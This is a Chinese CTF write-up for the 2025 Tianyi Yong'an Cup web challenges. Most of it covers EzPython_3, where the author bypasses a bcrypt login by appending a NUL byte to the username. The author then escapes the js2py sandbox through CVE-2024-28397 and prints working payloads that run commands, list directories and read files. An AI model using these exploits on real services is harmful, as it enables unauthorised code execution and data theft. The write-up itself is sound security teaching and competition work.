天一永安杯 初赛 2025 Web Writeup
anonymity web1, web 手何苦为难 web 手 查看源代码,提示 svn 泄露
只泄露了这一个文件
而且泄露的不是数据库文件,这几段只告知了创表相关的字段,所以 svn 泄露了什么 最后结束师傅们讨论了 SQL 注入,svn 泄露的几段也指向 SQL 注入,但貌似没有师傅注入成功(如有麻烦告知一下 Payload,真没测出怎么注的)
EzPython_3(一血) 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import pyjsparser.parser from flask import Flask, render_template, request, redirect, url_for, session import base64, random, secrets, string, bcrypt, js2py app = Flask(__name__) pyjsparser.parser.ENABLE_PYIMPORT=False users = {} users_hash = {} salt = bcrypt.gensalt() app.secret_key = secrets.token_bytes(16) admin = b'admin' admin_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) print(admin_password) h = bcrypt.hashpw(admin, salt) users[admin] = admin_password.encode() users_hash[h] = bcrypt.hashpw(admin_password.encode(), salt) print(users, users_hash) @app.route('/') def home(): return redirect(url_for('login')) @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username: bytes = base64.b64decode(request.form['username']) password: bytes = base64.b64decode(request.form['password']) if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] == bcrypt.hashpw( password, salt): if (bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) and users_hash[ bcrypt.hashpw(username, salt)] == users_hash[bcrypt.hashpw(username, salt)] == users_hash[ bcrypt.hashpw(b"admin", salt)]): session['is_admin'] = True return redirect(url_for('admin')) return f"Welcome, {username.decode()}!" else: return "Invalid username or password!" return render_template('login.html') @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username: bytes = base64.b64decode(request.form['username']) password: bytes = base64.b64decode(request.form['password']) if username in users: return "Username already exists!" if len(username) > 15: return "username is too long" users[username] = password users_hash[bcrypt.hashpw(username, salt)] = bcrypt.hashpw(password, salt) print(users, users_hash) return f"User {username.decode()} registered successfully!" return render_template('register.html') @app.route('/admin', methods=['GET', 'POST']) def admin(): if session.get('is_admin'): if request.method == 'POST': js = request.form['jscode'] if len(js) >155: return "too long" try: result=js2py.eval_js(js) return f"ok,{result}" except Exception as e: return f"An error occurred: {str(e)}" else: return render_template('admin.html') else: return redirect(url_for('login')) if __name__ == '__main__': app.run()
逻辑一眼就能看出来,总共也就四个路由 /、/register、/login、/admin
,要访问的目标是 admin 路由,要绕过鉴权 session.get('is_admin')
login 路由,bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt)
将同一个 salt
对两个明文做 bcrypt
,等价于 username == b"admin"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username: bytes = base64.b64decode(request.form['username']) password: bytes = base64.b64decode(request.form['password']) if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] == bcrypt.hashpw( password, salt): if (bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) and users_hash[ bcrypt.hashpw(username, salt)] == users_hash[bcrypt.hashpw(username, salt)] == users_hash[ bcrypt.hashpw(b"admin", salt)]): session['is_admin'] = True return redirect(url_for('admin')) return f"Welcome, {username.decode()}!" else: return "Invalid username or password!" return render_template('login.html')
bcrypt 的已知特性,72 字节截断,超过 72 字节的输入会被忽略,但这不帮助弄到和 b"admin"
相等的哈希;NUL 截断,空字节注入是有可能,我对其进行测试
1 2 3 4 admin\x00 admin\x00A admin\x00admin admin\x00\x00
fuzz 出来了
密码随意
1 username=YWRtaW4AYWRtaW4=&password=UGFzc3cwcmQh
拿到 session
进到 /admin 路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/admin', methods=['GET', 'POST']) def admin(): if session.get('is_admin'): if request.method == 'POST': js = request.form['jscode'] if len(js) >155: return "too long" try: result=js2py.eval_js(js) return f"ok,{result}" except Exception as e: return f"An error occurred: {str(e)}" else: return render_template('admin.html') else: return redirect(url_for('login'))
关键代码,这里是要做一个变量覆盖、模板注入、还是直接就命令执行?结果会直接嵌在 {result} 中返回响应包
1 2 3 4 5 if len(js) >155: return "too long" try: result=js2py.eval_js(js) return f"ok,{result}"
js2py 只能在非 python3.12 版本下运行,我选择 3.10 进行测试。这个库更多用于爬虫,检索一下相关文章,关于这个库的信息比较少,发现去年爆出一则 CVE 漏洞,主角就是 js2py.eval_js(),竟然能直接 rce:Marven11的漏洞文章
CVE
漏洞详细给了一条链子
1 let cmd = "id";let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;let obj = a(a(a,"__class__"), "__base__");function findpopen(o) {let result;for(let i in o.__subclasses__()) {let item = o.__subclasses__()[i];if(item.__module__ == "subprocess" && item.__name__ == "Popen") {return item}if(item.__name__ != "type" && (result = findpopen(item))) {return result}}};let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();console.log(result);result
RCE! 代码形式于要求完全一致,正中靶心
但问题来了,仅有资料的 payload 长度太大,无法满足低于 155 的要求,需要找到一条更短的链子绕过
分析 这 poc 拿来也看不懂如何实现的,先顺一顺逻辑 js2py/evaljs.py::eval() 将传入的 payload 再套一层 PyJsEvalResult = eval(%s)
随后跟进 execute(),在 195 行调用 js2py/translators/translator.py::translate_js()
js2py/translators/translating_nodes.py::trans() 从全局变量获取对应节点,随后 node(**ele)
调用每个相关节点,这些节点大都也是处理 JS 为 Python 代码关键节点 Program
会遍历代码的内容并添加变量与函数,最终转换成Python
代码
如调试时 Payload 最终解析为
1 2 3 4 var.registers([]) def PyJs_LONG_0_(var=var): return var.get('eval')(Js('传入的代码')) var.put('PyJsEvalResult', PyJs_LONG_0_())
var.get('eval')
取到 JS 的内建 eval
的 Py 包装,然后会将传入的字符串交给 JS 引擎再解析一次 最简单的利用就是直接通过 pyimport
进行导入模块,它是 js2py 库中一个特殊的关键字,它允许在 JS 代码中直接导入并使用 Python 模块
1 pyimport os;var current_dir = os.getcwd();current_dir;
题目最上面定义了 pyjsparser.parser.ENABLE_PYIMPORT = False
,这阻止了显式pyimport
语句,不能在用它导入模块 此时在回到最开始的 poc,看看 Marven11 师傅这条利用链是如何实现绕过的
关于 js2py/constructors/jsobject.py
里 Object.getOwnPropertyNames
我的理解是这样的,getOwnPropertyNames
返回一个 Python 对象,Js() 前面并不识别它,于是走到 py_wrap()
生成了 PyObjectWrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 def getOwnPropertyNames(obj): if not obj.is_object(): raise MakeError( 'TypeError', 'Object.getOwnPropertyDescriptor called on non-object') return obj.own.keys() def py_wrap(py): if isinstance(py, (FunctionType, BuiltinFunctionType, MethodType, BuiltinMethodType, dict, int, str, bool, float, list, tuple, long, basestring)) or py is None: return HJs(py) return PyObjectWrapper(py) def Js(val, Clamped=False): '''Converts Py type to PyJs type''' if isinstance(val, PyJs): return val elif val is None: return undefined elif isinstance(val, basestring): return PyJsString(val, StringPrototype) elif isinstance(val, bool): return true if val else false elif isinstance(val, float) or isinstance(val, int) or isinstance( val, long) or (NUMPY_AVAILABLE and isinstance( val, (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16, numpy.int32, numpy.uint32, numpy.float32, numpy.float64))): # This is supposed to speed things up. may not be the case if val in NUM_BANK: return NUM_BANK[val] return PyJsNumber(float(val), NumberPrototype) ... else: # try to convert to js object return py_wrap(val)
在调用 Object.getOwnPropertyNames()
时里面传 []、{}
(传入非对象参数会报错), 能拿到 PyObjectWrapper(dict_keys(xxx))
,于是 JS 层就能访问到 python 属性诸如 __class__
、__base__
、__subclasses__
等,达成了沙盒逃逸
1 2 3 4 5 6 7 8 9 10 11 import js2py import pyjsparser pyjsparser.parser.ENABLE_PYIMPORT = False code = """ a = Object.getOwnPropertyNames({}) b = Object.getOwnPropertyNames([]).__class__.__base__ console.log(a, b) """ js2py.eval_js(code)
所以 poc 的 payload 很好理解了,通过 Object.getOwnPropertyNames({}).__class__.__base__
拿到 python object
类,再写一个递归找 subprocess.Popen
函数,communicate()
拿回显,这被放弃了,太长
Python 沙箱逃逸最常见的就是 帧、闭包、函数全局字典拿 builtins,或者打 pickle 链,但也会非常长,也不一定拿到相关的模块
发现在 Python 里有这样一种类型 import loader
(如 zipimporter
、_frozen_importlib_external
家族等),这些 loader
的实例常带有 load_module
之类的入口,而在 object
基类.__subclasses__()
里总带着 load_module
属性的 loader 类
于是保持 Object.getOwnPropertyNames({}).__class__.__base__;
不变,向上找 load_module
,遇到第一个带 load_module
的就 break,用它直接加载内置模块完成读文件/列目录。
最终 payload
读当前工作目录
1 o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").getcwd() #len(143)
读目录
1 2 o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("posix").listdir("/") #len(150) o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").listdir("/") #len(147)
读文件
1 2 3 for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("_io").open("/flag").read() #len(154) for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("io").open("/flag").read() #len(153) # DASCTF{23409102560085073674496300485198}
参考:https://xz.aliyun.com/news/14369 https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/